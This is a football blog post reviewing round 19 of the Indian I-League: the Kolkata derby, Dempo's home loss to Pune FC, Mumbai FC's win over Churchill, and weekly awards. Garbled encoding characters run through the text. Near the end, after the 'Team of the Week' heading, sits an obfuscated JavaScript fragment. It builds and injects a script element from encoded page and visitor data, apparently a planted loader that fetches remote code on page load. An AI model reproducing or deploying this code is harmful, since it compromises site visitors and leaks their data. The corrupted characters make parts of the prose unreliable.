I-League Diary: Episode 19: The Title Race Gets Hotter

After 19 rounds, 108 days and 127 games, the I-League title is still wide open. While the relegation battle seems to be settled with two of the three teams ,i.e,Ai?? HAL, Chirag Kerala and Mumbai FC likely to go down, the title race is far from over and as many as six teams can still win the title.

The round started with the world famous Kolkata derby ending in a stalemate. East Bengal drew first blood when Robin Singh beat the offside trap and buried a low left footer in the bottom corner past Sangram Mukherjee. East Bengal were the much better team in the first half with Tolgay and Penn Orji creating havoc in the Bagan defense. East Bengal went into the breather with a one goal advantage. But parity was soon restored immediately after the restart when Odafa Okolie scored after getting past a couple of defenders and scoringAi?? with a hard drive past Gurpreet Singh be it with the help of a wicked deflection. East Bengal should have regained their lead when Tolgay Ozbay rounded the keeper and punted home, but the goal was wrongly ruled as offside by the linesman, much to the dismay of the Red and Gold supporters. It finished in a stalemate and both the Bengali giants fell further away from the top.

Dempo could have taken an eight point advantage over East Bengal at the top but they too faltered against their bogey team Pune FC at home. Izumi Arata who has a habit of scoring against Dempo scored the lone goal in the 20th minute after a pin point cross from Baldeep Singh. Derrick Pereiraai??i??s side have taken 9 out of 12 points in Goa this season.

Churchill failed to take advantage of the slip-ups of Dempo, East Bengal and Mohun Bagan, as they crashed to a 2-1 defeat against relegation threatened Mumbai FC at Pune. This was Churchillai??i??s fifth loss of the season. With this loss they moved out of the top four for the first time this season although they have played a game less. Churchill took the lead in the twentieth minute when the Henri-Beto-Opara combination helped Churchill to put their noses in front,Ai?? with Opara getting his name on the score sheet. But former Dempo man Cavil Lobo equalized to put his team on level terms at the half time. Dhanachandra Singh scored a late goal five minutes from time to give all three points to Khalid Jamilai??i??s men. Churchill can move to second place in the table, four points behind Dempo, if they win their game in hand against Pailan Arrows. Mumbai FC are six points clear of relegation and are relatively safe with seven matches left.

Salgaocar Sports Club moved into fourth place with a crucial 1-0 win over Prayag United Sports Club. Edeh Chidi once again underlined his importance to Goan club by scoring the winner. Salgaocar are now only seven points adrift of the top and with the way the League has shaped this season, they could still pose a serious challenge for the title.

Sporting Clube de Goaai??i??s young brigade helped the Flaming Oranje to a thumping 3-0 win over struggling Chirag United Kerala at Trivandrum. Young Dawson Fernandes was the star with two goals while James Moga added the third for Ekendra Singhai??i??s men. Chirag Kerala are six points adrift of safety and are in real danger of being relegated.

Shillong Lajong scored a 2-0 win over Pailan Arrows at the Jawaharlal Nehru Stadium in Shillong. Mathew Meyora and John Menyongar scored for the North East boys. Air India scored a 2-1 win over Hal and condemned the Bangalore side to their fifteenth loss of the season.

Goal of the Week: Odafa Okolie (Mohun Bagan)

The Nigerian goal machine scored a brilliant equalizer for the Mariners. He skipped past two defenders with body feints and then unleashed a vicious shot that flew into the net after taking a deflection.

Game of the Week: Churchill Brothers v Mumbai FC

Relegation threatened Mumbai FC scored an important come from behind 2-1 win over Churchill to stay clear of the relegation zone.

Star of the Week: Dawson Fernandes

The young striker from Sporting did his confidence a world of good by scoring two goals against Chirag Kerala. The former salgaocar player who has undergone training in Portugal seems to be one of the finds of the season for Sporting.

Team of the Week:

Ai??

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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

Exit mobile version